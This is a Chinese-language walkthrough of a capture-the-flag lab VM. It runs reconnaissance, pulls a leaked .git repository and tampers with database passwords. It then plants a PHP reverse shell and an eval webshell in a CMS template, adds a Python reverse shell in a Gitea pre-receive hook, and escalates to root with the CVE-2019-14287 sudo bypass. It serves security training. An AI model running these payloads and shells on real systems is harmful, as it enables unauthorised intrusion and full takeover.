首先用 nmao 搜索靶机IP
nmap -sP 192.168.560/24
再扫描靶机IP端口
nmap -A -p- 192.168.56.106
发现 22 80 8585端口
访问 80 ,Wappalyzer 看一下
dirsearch 扫一下看看有无有用文件
python3 dirsearch.py -u "http://192.168.56.106" -e php
找到adminer.php
还发现了 .git 和 .gitignore 泄露
GitHack下载文件
python GitHack.py -u "http://192.168.56.106/.git"
找到 配置文件查看数据库文件
成功登录
编辑 password 为
$2y$10$EJ64ugc3YEnGH2jaM06XCO68igbTx4LpkcfVPnzoJHRy8Wm8h0Hti
参考如下 https://www.qumuban.com/7550.html
或者新建一个管理员用户
登录 192.168.56.106/backend/backend/auth/signin
frank/123456
成功登录
和 wordpress 有些类似,我们发现可以自定义模板文件,因此可以往里面写shell
反弹shell function onStart() { $s=fsockopen("192.168.56.153",2333); $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes); } //或者这里可以蚁剑连接 function onStart(){ eval($_REQUEST[1]); }
访问 /var/backups/app.ini.bak 得到数据库密码
登录该数据库
找到user表
找到 password 的加密方式
https://github.com/go-gitea/gitea/blob/master/models/user.go
python解密脚本
https://blog.csdn.net/qq_42486920/article/details/80836749
解密修改password
8c1081ea93e4803d6aa627fca52970b8bb06c35e7fa2c47e1eae3e4f5e6c9515dfaf13d62292547583aef0ee683f92e71c40 明文为:password
登录 frank/password
在 http://192.168.56.106:8585/frank/devguru-website/settings/hooks/git/pre-receive 中
覆写入
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
接着在 README.md 中
提权
接着使用 CVE-2019-14287(利用)
sudo -l sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'
获得最高root权限